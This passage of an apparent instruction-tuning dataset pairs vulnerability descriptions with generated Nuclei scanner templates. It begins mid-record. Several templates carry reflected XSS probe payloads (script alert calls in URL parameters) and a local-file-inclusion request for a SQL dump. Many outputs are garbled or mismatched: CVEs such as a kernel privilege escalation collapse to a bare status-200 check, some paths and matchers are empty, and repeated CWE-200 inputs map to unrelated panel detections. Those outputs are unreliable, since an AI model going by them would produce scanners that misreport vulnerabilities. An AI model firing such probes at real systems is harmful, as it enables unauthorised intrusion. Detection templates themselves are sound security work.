switches, ME 4924-10GE switch, RF Gateway 10, and SM-X Layer 2/3 EtherSwitch Service Module. Cisco Bug IDs: CSCvd48893.
  tags: cve2017,network,cve,cisco,rce,kev,msf,tcp,vkev,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: checkpoint-panel

info:
  name: Checkpoint Login Panel - Detect
  author: 0x240x23elu
  severity: info
  description: Checkpoint login panel was detected.
  tags: panel,checkpoint,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/sslvpn/Login/Login"
      - "{{BaseURL}}/Login/Login"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Check Point Software Technologies Ltd. All rights reserved."
          - "/Login/images/CompanyLogo.png"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header


Instruction: Generate a Nuclei template for: Anonymous FTP Disabled Check

Input:
Title: Anonymous FTP Disabled Check
Summary: Anonymous FTP Disabled Check. Ensure that anonymous FTP authentication is disabled on all FTP sites. Allowing anonymous access permits unauthenticated users to connect, which can lead to serious security vulnerabilities.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: ftp-anonymous-check

info:
  name: Anonymous FTP Disabled Check
  author: nukunga[SungHyunJeon]
  severity: medium
  description: Ensure that anonymous FTP authentication is disabled on all FTP sites. Allowing anonymous access permits unauthenticated users to connect, which can lead to serious security vulnerabilities.
  tags: ftp,iis,security,code,windows-audit,kisa

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-34598

Input:
Title: Path Traversal in gibbonedu gibbon
Summary: Gibbon v25.0.0 is vulnerable to a Local File Inclusion (LFI) where it's possible to include the content of several files present in the installation folder in the server's response.
Vulnerability Type: Path Traversal
Severity: critical
Affected Products: gibbonedu gibbon
Indicators: error, vulnerability detected

Output:
id: CVE-2023-34598

info:
  name: Gibbon v25.0.0 - Local File Inclusion
  author: DhiyaneshDk
  severity: critical
  description: Gibbon v25.0.0 is vulnerable to a Local File Inclusion (LFI) vulnerability where it's possible to include the content of several files present in the installation folder in the server's response.
  tags: cve2023,cve,gibbon,lfi,gibbonedu,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?q=./gibbon.sql"
    matchers:
      - type: word
        words:
          - "phpMyAdmin SQL Dump"
          - "gibbon"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: netflix-conductor-ui

info:
  name: Netflix Conductor UI Panel - Detect
  author: c-sh0
  severity: info
  description: Netflix Conductor UI panel was detected.
  tags: webserver,netflix,conductor,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<title>Conductor UI</title>"
          - "<title>Workflow UI</title>"
        part: body
        condition: or


Instruction: Generate a Nuclei template for: Senayan Library Management System v8.3.1 (Akasia) - Cross-Site Scripting

Input:
Title: Senayan Library Management System v8.3.1 (Akasia) - Cross-Site Scripting
Summary: Senayan Library Management System v8.3.1 (Akasia) - Cross-Site Scripting. SLiMS 8.3.1 (Akasia) has a `destination` parameter that is vulnerable to reflected XSS. However, ensure that the `p` parameter points to the 'member'. Additional google dork 'intext:"SLiMS 8.3.1 (Akasia)"'.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: slims-8-akasia-xss

info:
  name: Senayan Library Management System v8.3.1 (Akasia) - Cross-Site Scripting
  author: nblirwn
  severity: medium
  description: SLiMS 8.3.1 (Akasia) has a `destination` parameter that is vulnerable to reflected XSS. However, ensure that the `p` parameter points to the 'member'. Additional google dork 'intext:"SLiMS 8.3.1 (Akasia)"'.
  tags: senayan,xss,slims,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
      - "{{BaseURL}}/perpustakaan/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
      - "{{BaseURL}}/slims/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
      - "{{BaseURL}}/perpustakaan/slims/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
      - "{{BaseURL}}/e-library/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
      - "{{BaseURL}}/perpus/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
      - "{{BaseURL}}/digilib/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
      - "{{BaseURL}}/akasia/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
      - "{{BaseURL}}/library/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
    matchers:
      - type: word
        words:
          - "<script>alert(document.domain)</script>"
          - "SLiMS"
        condition: and
      - type: word
        words:
          - "text/html"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: igromania

info:
  name: Igromania User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Igromania user name information check was conducted.
  tags: osint,osint-social,igromania,discovery

http:
  - method: GET
    path:
      - "http://forum.igromania.ru/member.php?username={{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Форум Игромании - Просмотр профиля:"
        part: body


Instruction: Generate a Nuclei template for: oracle-peoplesoft Security Checks

Input:
Title: oracle-peoplesoft Security Checks
Summary: oracle-peoplesoft Security Checks. A simple workflow that runs all oracle-peoplesoft related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: oracle-peoplesoft-workflow

info:
  name: oracle-peoplesoft Security Checks
  author: LogicalHunter
  severity: info
  description: A simple workflow that runs all oracle-peoplesoft related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Onion Website Supported via Onion-Location Header

Input:
Title: Onion Website Supported via Onion-Location Header
Summary: Onion Website Supported via Onion-Location Header. Identified websites that supported Tor network access through the Onion-Location HTTP response header, which pointed to a corresponding .onion service for enhanced privacy and anonymity.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: onion-website-supported

info:
  name: Onion Website Supported via Onion-Location Header
  author: rxerium
  severity: info
  description: Identified websites that supported Tor network access through the Onion-Location HTTP response header, which pointed to a corresponding .onion service for enhanced privacy and anonymity.
  tags: misc,osint,tor,onion,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: regex
        part: header


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: jenkins-login

info:
  name: Jenkins Login Detected
  author: pdteam
  severity: info
  description: Jenkins is an open source automation server.
  tags: panel,jenkins,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"
    matchers:
      - type: word
        words:
          - "Sign in [Jenkins]"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-24701

Input:
Title: Cross-Site Scripting (XSS) in open-xchange open-xchange_appsuite
Summary: OX App Suite through 7.10.4 allows XSS via the app loading mechanism (the PATH_INFO to the /appsuite URI).
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: open-xchange open-xchange_appsuite
Indicators: error, vulnerability detected

Output:
id: CVE-2020-24701

info:
  name: OX Appsuite - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: OX App Suite through 7.10.4 allows XSS via the app loading mechanism (the PATH_INFO to the /appsuite URI).
  tags: cve,cve2020,packetstorm,seclists,appsuite,xss,open-xchange,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ajax/apps/manifests?action=all&format=debug&xss=<script>alert(document.domain);</script>"
    matchers:
      - type: word
        words:
          - "Request with action all"
          - "<script>alert(document.domain);</script>"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-21972

Input:
Title: Path Traversal in vmware cloud_foundation and others
Summary: The vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
Vulnerability Type: Path Traversal
Severity: critical
Affected Products: vmware cloud_foundation, vmware vcenter_server
Indicators: error, vulnerability detected

Output:
id: CVE-2021-21972

info:
  name: VMware vSphere Client (HTML5) - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: VMware vCenter vSphere Client (HTML5) contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
  tags: cve2021,cve,vmware,rce,vcenter,kev,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ui/vropspluginui/rest/services/getstatus"
    matchers:
      - type: word
        words:
          - "VSPHERE-UI-JSESSIONID"
        part: header
        condition: and
      - type: regex
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Versa Director API Endpoint Detection

Input:
Title: Versa Director API Endpoint Detection
Summary: Versa Director API Endpoint Detection. Versa Director API Endpoint (Unauthorized) Detection
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: versa-director-api

info:
  name: Versa Director API Endpoint Detection
  author: c-sh0
  severity: info
  description: Versa Director API Endpoint (Unauthorized) Detection
  tags: api,versa,tech,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}:9182"
    matchers:
      - type: regex
        part: body
      - type: status
        status:
          - 401


Instruction: Generate a Nuclei template for CVE-2017-18500

Input:
Title: Cross-Site Scripting (XSS) in bestwebsoft social_buttons_pack
Summary: The social-buttons-pack plugin before 1.1.1 for WordPress has multiple XSS issues.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: bestwebsoft social_buttons_pack
Indicators: error, vulnerability detected

Output:
id: CVE-2017-18500

info:
  name: Social Buttons Pack by BestWebSof < 1.1.1 - Cross-Site Scripting
  author: luisfelipe146
  severity: medium
  description: The social-buttons-pack plugin before 1.1.1 for WordPress has multiple XSS issues.
  tags: cve2017,cve,wordpress,wpscan,bws-social-buttons,wp-plugin,xss,authenticated,bestwebsoft,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2019-9881

Input:
Title: Vulnerability (CWE-306) in wpengine wpgraphql
Summary: The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.
Vulnerability Type: Vulnerability (CWE-306)
Severity: medium
Affected Products: wpengine wpgraphql
Indicators: error, vulnerability detected

Output:
id: CVE-2019-9881

info:
  name: WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting
  author: intelligent-ears
  severity: medium
  description: The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.
  tags: cve,cve2019,wp,wp-plugin,wordpress,wp-graphql,wpengine,unauth,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2023-2640

Input:
Title: Vulnerability (CWE-863) in canonical ubuntu_linux
Summary: On Ubuntu kernels carrying both c914c0e27eb0 and "UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs", an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.
Vulnerability Type: Vulnerability (CWE-863)
Severity: high
Affected Products: canonical ubuntu_linux
Indicators: error, vulnerability detected

Output:
id: CVE-2023-2640

info:
  name: GameOver(lay) - Local Privilege Escalation in Ubuntu Kernel
  author: princechaddha
  severity: high
  description: A local privilege escalation vulnerability has been discovered in the OverlayFS module of the Ubuntu kernel. This vulnerability could allow an attacker with local access to escalate their privileges, potentially gaining root-like access to the system.
  tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical,vkev,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Glances Unauthenticated Panel

Input:
Title: Glances Unauthenticated Panel
Summary: Glances Unauthenticated Panel. Glance running web server mode & Unauthenticated leads system monitoring to info disclosure
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: unauthenticated-glances

info:
  name: Glances Unauthenticated Panel
  author: remonsec
  severity: low
  description: Glance running web server mode & Unauthenticated leads system monitoring to info disclosure
  tags: exposure,glances,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<title>Monitor</title>"
        part: body


Instruction: Generate a Nuclei template for CVE-2022-32028

Input:
Title: SQL Injection in car_rental_management_system_project car_rental_management_system
Summary: Car Rental Management System v1.0 is vulnerable to SQL Injection via /car-rental-management-system/admin/manage_user.php?id=.
Vulnerability Type: SQL Injection
Severity: high
Affected Products: car_rental_management_system_project car_rental_management_system
Indicators: error, vulnerability detected

Output:
id: CVE-2022-32028

info:
  name: Car Rental Management System 1.0 - SQL Injection
  author: arafatansari
  severity: high
  description: Car Rental Management System 1.0 contains an SQL injection vulnerability via /admin/manage_user.php?id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  tags: cve,cve2022,carrental,cms,sqli,authenticated,car_rental_management_system_project,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "{{md5({{num}})}}"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: OpenSNS Security Checks

Input:
Title: OpenSNS Security Checks
Summary: OpenSNS Security Checks. A simple workflow that runs all OpenSNS related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: opensns-workflow

info:
  name: OpenSNS Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all OpenSNS related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Azure Environment Validation

Input:
Title: Azure Environment Validation
Summary: Azure Environment Validation. Checks if Azure CLI is set up and all necessary tools are installed on the environment.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: azure-env

info:
  name: Azure Environment Validation
  author: princechaddha
  severity: info
  description: Checks if Azure CLI is set up and all necessary tools are installed on the environment.
  tags: cloud,devops,microsoft,azure,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200